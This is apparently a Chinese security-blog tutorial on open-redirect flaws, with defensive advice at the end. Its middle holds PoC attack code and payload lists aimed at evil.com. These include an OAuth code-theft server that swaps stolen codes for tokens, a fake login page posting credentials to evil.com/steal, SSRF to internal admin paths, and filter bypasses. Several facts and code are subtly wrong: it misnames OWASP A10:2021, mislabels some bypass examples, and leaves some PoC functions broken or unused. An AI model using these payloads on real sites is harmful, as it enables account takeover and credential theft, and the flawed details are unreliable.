PingSec 安全日报

root@pingsec:~$
🟡 渗透测试open-redirectoauthssrfphishingweb-security

【教程】开放重定向漏洞实战:从原理到OAuth劫持与SSRF利用全解析

📅 2026年7月6日 📁 Hermes Agent ⏱ 8 分钟

title: "【教程】开放重定向漏洞实战:从原理到OAuth劫持与SSRF利用全解析"

tags: [open-redirect, oauth, ssrf, phishing, web-security, 渗透测试]

category: pentest


适合人群:安全研究人员、渗透测试工程师、CTF选手、Web开发者

前置知识:HTTP协议基础、URL结构、OAuth流程基本概念


一、前置准备

1.1 工具安装


# 核心工具
pip install requests beautifulsoup4

# 推荐安装 ffuf 用于模糊测试
go install github.com/ffuf/ffuf/v2@latest

# Sublist3r 子域名收集
pip install Sublist3r

# 安装 Python urllib3 用于URL解析
pip install urllib3

1.2 靶场搭建(可选)

如果你有自己的测试环境,可以准备一个简单的 Flask 应用:


pip install flask
cat > redirect_test.py << 'PYEOF'
from flask import Flask, redirect, request

app = Flask(__name__)

@app.route('/redirect')
def open_redirect():
    url = request.args.get('url', '/')
    # 不安全的重定向
    return redirect(url)

@app.route('/safe_redirect')
def safe_redirect():
    url = request.args.get('url', '/')
    # 安全的重定向 - 白名单检查
    from urllib.parse import urlparse
    parsed = urlparse(url)
    if parsed.netloc and parsed.netloc not in ('target.com', 'www.target.com'):
        return 'URL不在白名单中', 403
    return redirect(url)

if __name__ == '__main__':
    app.run(port=5000)
PYEOF

python redirect_test.py

1.3 为什么重要

开放重定向(Open Redirect)是 OWASP Top 10 中 A10:2021-Unsafe Redirects 指出的安全问题。虽然单独看危害有限,但它是攻击链的关键环节

  • OAuth劫持:窃取授权码/Token
  • SSRF利用:绕过IP白名单访问内网资源
  • 钓鱼攻击:伪装为可信域名
  • XSS结合:重定向到恶意页面触发脚本
  • CORS绕过:绕过Origin检查

二、核心原理

2.1 什么是开放重定向

开放重定向是指Web应用接受用户可控的URL参数,未经验证或验证不当就将用户浏览器重定向到该URL。

正常的重定向


用户访问 → target.com/dashboard → 302 → target.com/login

漏洞利用


用户访问 → target.com/redirect?url=https://evil.com → 302 → evil.com

2.2 漏洞成因


# 典型的漏洞代码(Flask示例)
@app.route('/redirect')
def redirect_vuln():
    url = request.args.get('url')
    # 直接使用用户输入进行重定向,无任何验证
    return redirect(url)

# 典型的漏洞代码(PHP示例)
<?php
header("Location: " . $_GET['url']);
exit;
?>

# 典型的漏洞代码(Node.js示例)
app.get('/redirect', (req, res) => {
    res.redirect(req.query.url);  // 危险!
});

2.3 常见触发点

参数名出现场景危害级别
url通用重定向参数🔴 高
redirect登录后跳转🔴 高
nextOAuth/SSO流程🔴 高
return支付/回调🔴 高
continue邮件确认链接🔴 高
dest文档中的链接🟡 中
path文件访问🟡 中
callback第三方集成🔴 高
goto内部系统🟡 中
target外链跳转🟡 中

三、实操步骤

3.1 手动发现开放重定向

步骤1:识别重定向参数

在目标网站上寻找重定向相关的功能点:


# 使用 waybackurls 收集历史URL中的重定向参数
echo "target.com" | waybackurls | grep -E '[?&](url|redirect|next|return|continue|dest|path|callback|goto|target)=' | head -50

# 使用 gau 收集
echo "target.com" | gau | grep -E '[?&](url|redirect|next|return|continue|dest|path|callback|goto|target)='

步骤2:构造测试Payload


# 基础测试 - 使用外部URL
curl -v "https://target.com/redirect?url=https://evil.com" -I

# 使用协议变体测试
curl -v "https://target.com/redirect?url=//evil.com" -I
curl -v "https://target.com/redirect?url=https:evil.com" -I
curl -v "https://target.com/redirect?url=\\evil.com" -I

# 使用URL编码测试
curl -v "https://target.com/redirect?url=%2f%2fevil.com" -I
curl -v "https://target.com/redirect?url=https%3a%2f%2fevil.com" -I

步骤3:验证重定向行为


import requests

def test_redirect(url, payload):
    """测试URL是否存在开放重定向"""
    test_url = f"{url}?url={payload}"
    try:
        resp = requests.get(test_url, allow_redirects=False, timeout=10)
        if resp.status_code in (301, 302, 303, 307, 308):
            location = resp.headers.get('Location', '')
            if 'evil.com' in location:
                print(f"[!] 漏洞确认: {location}")
                return True
    except Exception as e:
        print(f"[-] 请求失败: {e}")
    return False

# 测试目标
target = "https://target.com/redirect"
payloads = [
    "https://evil.com",
    "http://evil.com",
    "//evil.com",
    "/\\evil.com",
    "https://evil.com%252f.target.com",
    "https://evil.com%0d%0aLocation:%20https://target.com",
]

for payload in payloads:
    test_redirect(target, payload)

3.2 自动化发现

使用 ffuf 进行模糊测试


# 先构造 payload 字典
cat > redirect_payloads.txt << 'EOF'
https://evil.com
http://evil.com
//evil.com
/\\evil.com
https://evil.com%2f.target.com
https://evil.com%0d%0aLocation:%20https://target.com
https://evil.com%23.target.com
https://evil.com%40.target.com
https://evil.com?.target.com
EOF

# 使用 ffuf 测试
ffuf -u "https://target.com/redirect?FUZZ=https://evil.com" \
  -w redirect_payloads.txt:FUZZ \
  -H "Cookie: session=xxx" \
  -fr "URL not found" \
  -mc 301,302,303,307,308

使用 Burp Suite 自动测试


# Burp Suite 扩展脚本 (Jython)
from burp import IBurpExtender, IScannerCheck

class BurpExtender(IBurpExtender, IScannerCheck):
    def checkIssue(self, baseRequestResponse):
        # 获取原始请求
        request_info = baseRequestResponse.getRequest()

        # 构造测试请求
        test_request = request_info.toString()
        test_request = test_request.replace(
            'url=https://example.com',
            'url=https://evil.com'
        )

        # 发送测试请求
        test_response = self._callbacks.makeHttpRequest(
            baseRequestResponse.getHttpService(),
            self._helpers.stringToBytes(test_request)
        )

        # 检查响应
        if 'evil.com' in test_response.getResponse().toString():
            return True
        return False

3.3 绕过技术

3.3.1 协议变体绕过


# 不带协议
//evil.com

# 反斜杠
\\/evil.com
\/evil.com

# URL编码
%2f%2fevil.com
%2F%2Fevil.com

# 双重编码
%252f%252fevil.com

3.3.2 域名混淆绕过


# 使用@符号
https://target.com@evil.com

# 使用#号
https://evil.com#target.com

# 使用?号
https://target.com?.evil.com

# 使用子域名
https://evil.com.target.com

# 使用Unicode字符
https://target.com.evil.com

# 使用ip地址
https://evil.com
http://[::ffff:evil.com]

3.3.3 白名单绕过


# 绕过域名白名单 - 使用子域名
https://target.com.evil.com
https://eviltarget.com

# 绕过协议检查 - 使用data URI
data:text/html,<script>location='https://evil.com'</script>

# 绕过路径检查 - 使用反斜杠
https://target.com\@evil.com

# 绕过双重检查 - 使用URL解析差异
https://target.com@evil.com
https://target.com%40evil.com

3.3.4 特殊字符绕过


# 使用制表符
https://target.com%09.evil.com

# 使用换行符
https://target.com%0d%0aLocation:%20https://evil.com

# 使用null字符
https://target.com%00.evil.com

# 使用Unicode
https://target.com\u0040evil.com

四、绕过技术详解

4.1 WAF绕过


# WAF绕过 - 使用不同编码
bypasses = [
    "https://evil.com",
    "http://evil.com",
    "//evil.com",
    "\\/evil.com",
    "%2f%2fevil.com",
    "%2F%2Fevil.com",
    "https://evil.com%23.target.com",
    "https://evil.com%40.target.com",
    "https://evil.com?.target.com",
    "https://evil.com%0d%0a.target.com",
]

for bypass in bypasses:
    print(f"测试: {bypass}")

4.2 反射型XSS结合


<!-- 配合XSS的开放重定向利用 -->
<script>
// 重定向到恶意页面,页面中包含XSS payload
window.location = "https://evil.com/xss?callback=alert(document.domain)";
</script>

<!-- 利用JavaScript协议 -->
javascript:alert(document.cookie)

<!-- 利用SVG -->
<svg onload="alert(1)">

4.3 SSRF利用


# 利用开放重定向进行SSRF
import requests

def ssrf_via_redirect(redirect_url, internal_url):
    """
    通过开放重定向绕过IP白名单
    """
    # 构造请求到内部网络
    payload = f"{redirect_url}?url=http://127.0.0.1:8080/admin"

    resp = requests.get(payload, allow_redirects=True, timeout=10)
    return resp.text

# 示例
ssrf_via_redirect(
    "https://target.com/redirect",
    "http://192.168.1.100:8080/admin"
)

五、实战案例复盘

5.1 OAuth授权码劫持

攻击场景

  1. 攻击者发现目标网站的OAuth登录存在开放重定向
  2. 构造恶意授权链接
  3. 用户点击后,授权码被发送到攻击者服务器

攻击代码


# OAuth授权码劫持 PoC
import requests

def oauth_theft(redirect_url):
    """
    通过开放重定向窃取OAuth授权码
    """
    # 构造恶意OAuth URL
    malicious_url = (
        f"https://target.com/oauth/authorize"
        f"?client_id=12345"
        f"&response_type=code"
        f"&redirect_uri={redirect_url}"  # 指向攻击者控制的重定向
        f"&scope=profile email"
    )

    print(f"恶意授权链接: {malicious_url}")

    # 模拟用户访问
    resp = requests.get(malicious_url, allow_redirects=False)
    if resp.status_code in (301, 302):
        # 用户被重定向到攻击者服务器,携带授权码
        print(f"重定向到: {resp.headers.get('Location')}")

    return malicious_url

# 攻击者服务器接收授权码
def attacker_server():
    """攻击者服务器 - 接收授权码"""
    from flask import Flask, request

    app = Flask(__name__)

    @app.route('/callback')
    def callback():
        code = request.args.get('code')
        print(f"窃取到授权码: {code}")

        # 使用授权码获取访问令牌
        token_url = "https://target.com/oauth/token"
        data = {
            'grant_type': 'authorization_code',
            'code': code,
            'client_id': '12345',
            'client_secret': 'attacker_secret',
            'redirect_uri': 'https://evil.com/callback'
        }

        resp = requests.post(token_url, data=data)
        access_token = resp.json().get('access_token')

        if access_token:
            print(f"成功获取访问令牌: {access_token}")
            # 使用令牌获取用户信息
            user_resp = requests.get(
                'https://target.com/api/userinfo',
                headers={'Authorization': f'Bearer {access_token}'}
            )
            print(f"用户信息: {user_resp.json()}")

        return "攻击成功"

    app.run(port=8080)

# 执行攻击
oauth_theft("https://evil.com/callback")

5.2 钓鱼攻击


# 钓鱼攻击PoC - 伪装为可信域名
import requests

def phishing_attack(redirect_url, phishing_page):
    """
    利用开放重定向进行钓鱼攻击
    """
    # 用户看到的是可信域名
    phishing_url = (
        f"{redirect_url}"
        f"?url=https://target.com/login"  # 显示为可信URL
        f"&next={phishing_page}"  # 实际重定向到钓鱼页面
    )

    print(f"钓鱼链接: {phishing_url}")

    # 模拟用户访问
    resp = requests.get(phishing_url, allow_redirects=True, timeout=10)
    print(f"最终访问: {resp.url}")

    return phishing_url

# 钓鱼页面示例
phishing_html = """
<!DOCTYPE html>
<html>
<head>
    <title>登录 - Target.com</title>
    <style>
        body { font-family: Arial, sans-serif; background: #f5f5f5; }
        .login-box {
            max-width: 400px;
            margin: 100px auto;
            padding: 30px;
            background: white;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
        h1 { text-align: center; color: #333; }
        input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd; border-radius: 4px; }
        button { width: 100%; padding: 12px; background: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; }
        button:hover { background: #0056b3; }
    </style>
</head>
<body>
    <div class="login-box">
        <h1>Target.com 登录</h1>
        <form action="https://evil.com/steal" method="POST">
            <input type="text" name="username" placeholder="用户名" required>
            <input type="password" name="password" placeholder="密码" required>
            <button type="submit">登录</button>
        </form>
    </div>
</body>
</html>
"""

5.3 Token泄露


# Token泄露PoC
import requests

def token_leak(redirect_url):
    """
    通过开放重定向泄露认证Token
    """
    # 构造包含Token的URL
    malicious_url = (
        f"{redirect_url}"
        f"?url=https://target.com/api/data"
        f"&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
    )

    print(f"恶意URL: {malicious_url}")

    # 攻击者服务器接收Token
    resp = requests.get(malicious_url, allow_redirects=True, timeout=10)

    # 从URL中提取Token
    from urllib.parse import urlparse, parse_qs
    parsed = urlparse(resp.url)
    token = parse_qs(parsed.query).get('token', [None])[0]

    if token:
        print(f"窃取到Token: {token}")

    return token

六、防御建议

6.1 使用白名单验证


from urllib.parse import urlparse
from flask import Flask, redirect, request, abort

app = Flask(__name__)

# 安全的重定向实现
ALLOWED_DOMAINS = [
    'target.com',
    'www.target.com',
    'app.target.com',
]

@app.route('/redirect')
def safe_redirect():
    url = request.args.get('url', '/')

    # 解析URL
    parsed = urlparse(url)

    # 白名单验证
    if parsed.netloc and parsed.netloc not in ALLOWED_DOMAINS:
        abort(403, "URL不在白名单中")

    # 验证协议
    if parsed.scheme and parsed.scheme not in ('http', 'https'):
        abort(403, "不支持的协议")

    # 验证路径安全性
    if '..' in parsed.path or '~' in parsed.path:
        abort(403, "路径不安全")

    return redirect(url)

6.2 使用相对路径


# 更安全的方式 - 使用相对路径
@app.route('/redirect')
def relative_redirect():
    # 不接受完整URL,只接受相对路径
    path = request.args.get('path', '/')

    # 验证路径
    if not path.startswith('/') or '..' in path:
        abort(403)

    return redirect(path)

6.3 实施双重验证


# 双重验证 - 重定向前确认
@app.route('/redirect')
def double_verify_redirect():
    url = request.args.get('url')
    token = request.args.get('token')

    # 验证token
    if not verify_csrf_token(token):
        abort(403)

    # 验证URL
    parsed = urlparse(url)
    if parsed.netloc and parsed.netloc not in ALLOWED_DOMAINS:
        abort(403)

    return redirect(url)

6.4 安全配置检查


# 检查HTTP响应头
curl -I https://target.com/redirect?url=https://evil.com

# 检查Content-Security-Policy
curl -s -I https://target.com | grep -i "content-security-policy"

# 检查X-Frame-Options
curl -s -I https://target.com | grep -i "x-frame-options"

6.5 监控和告警


# 监控可疑重定向
import logging

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger('redirect_monitor')

def monitor_redirect(request):
    """监控可疑的重定向请求"""
    url = request.args.get('url', '')
    parsed = urlparse(url)

    # 检查是否指向外部域名
    if parsed.netloc and parsed.netloc not in ALLOWED_DOMAINS:
        logger.warning(
            f"可疑重定向: {request.remote_addr} -> {url}"
        )
        # 发送告警
        send_alert(f"检测到可疑重定向: {url}")

    # 检查编码绕过
    if '%' in url or '\\' in url:
        logger.warning(
            f"编码重定向: {request.remote_addr} -> {url}"
        )

七、常见陷阱

7.1 陷阱1:只验证了域名,没验证协议


# ❌ 错误做法 - 只检查域名
def bad_check(url):
    if 'target.com' in url:
        return redirect(url)  # 仍然可能被利用

# ✅ 正确做法 - 同时检查协议
def good_check(url):
    parsed = urlparse(url)
    if parsed.netloc not in ALLOWED_DOMAINS:
        abort(403)
    if parsed.scheme not in ('http', 'https'):
        abort(403)
    return redirect(url)

7.2 陷阱2:使用了黑名单而非白名单


# ❌ 错误做法 - 黑名单容易被绕过
BLACKLIST = ['evil.com', 'malware.com', 'phishing.com']

def bad_blacklist_check(url):
    for domain in BLACKLIST:
        if domain in url:
            abort(403)
    return redirect(url)  # 可以绕过黑名单

# ✅ 正确做法 - 使用白名单
ALLOWED = ['target.com', 'www.target.com']

def good_whitelist_check(url):
    parsed = urlparse(url)
    if parsed.netloc not in ALLOWED:
        abort(403)
    return redirect(url)

7.3 陷阱3:没有处理编码绕过


# ❌ 错误做法 - 没有解码
def bad_decode_check(url):
    if 'evil.com' not in url:
        return redirect(url)  # 可以用编码绕过

# ✅ 正确做法 - 先解码再检查
import urllib.parse

def good_decode_check(url):
    # URL解码
    decoded_url = urllib.parse.unquote(url)
    decoded_url = urllib.parse.unquote(decoded_url)  # 双重解码

    parsed = urlparse(decoded_url)
    if parsed.netloc not in ALLOWED_DOMAINS:
        abort(403)
    return redirect(url)

7.4 陷阱4:重定向前没有验证用户意图


# ❌ 错误做法 - 直接重定向
@app.route('/redirect')
def bad_redirect():
    url = request.args.get('url')
    return redirect(url)  # 没有用户确认

# ✅ 正确做法 - 显示确认页面
@app.route('/redirect')
def safe_redirect_with_confirm():
    url = request.args.get('url')
    parsed = urlparse(url)

    if parsed.netloc and parsed.netloc not in ALLOWED_DOMAINS:
        abort(403)

    # 显示确认页面
    return f"""
    <html>
    <body>
        <h1>即将离开本网站</h1>
        <p>您即将被重定向到: {url}</p>
        <p>请确认是否继续</p>
        <a href="{url}">继续</a>
        <a href="/">返回</a>
    </body>
    </html>
    """

7.5 陷阱5:忽略子域名验证


# ❌ 错误做法 - 只检查主域名
def bad_subdomain_check(url):
    if 'target.com' in url:
        return redirect(url)  # 可以使用子域名绕过

# ✅ 正确做法 - 精确匹配子域名
def good_subdomain_check(url):
    parsed = urlparse(url)
    if parsed.netloc not in ALLOWED_DOMAINS:
        abort(403)
    return redirect(url)

八、总结(含速查表)

开放重定向漏洞速查表

攻击类型利用方式危害防御
OAuth劫持重定向到攻击者服务器🔴 高白名单验证
钓鱼攻击伪装为可信域名🔴 高用户确认
SSRF利用绕过IP白名单🔴 高白名单验证
Token泄露URL参数携带Token🔴 高从URL移除Token
XSS结合重定向到恶意页面🟡 中CSP策略

防御清单

  1. 使用白名单验证 - 验证目标URL的域名在允许列表中
  2. 验证协议 - 只允许http和https协议
  3. 检查编码 - URL解码后再次验证
  4. 使用相对路径 - 避免接受完整URL
  5. 添加用户确认 - 重定向前显示确认页面
  6. 实施监控 - 记录可疑的重定向请求
  7. 设置CSP - 使用Content-Security-Policy限制资源加载
  8. 启用HSTS - 使用HTTP Strict Transport Security

常见重定向参数

参数场景利用难度
url通用重定向简单
nextOAuth/SSO流程中等
redirect登录后跳转简单
return支付/回调中等
continue邮件确认简单
callback第三方集成中等
dest文档链接简单
path文件访问中等
goto内部系统简单
target外链跳转简单

一句话防御

永远不要信任用户输入的URL。使用白名单验证目标域名,验证协议类型,URL解码后再次检查,添加用户确认机制。


参考资料

← 返回首页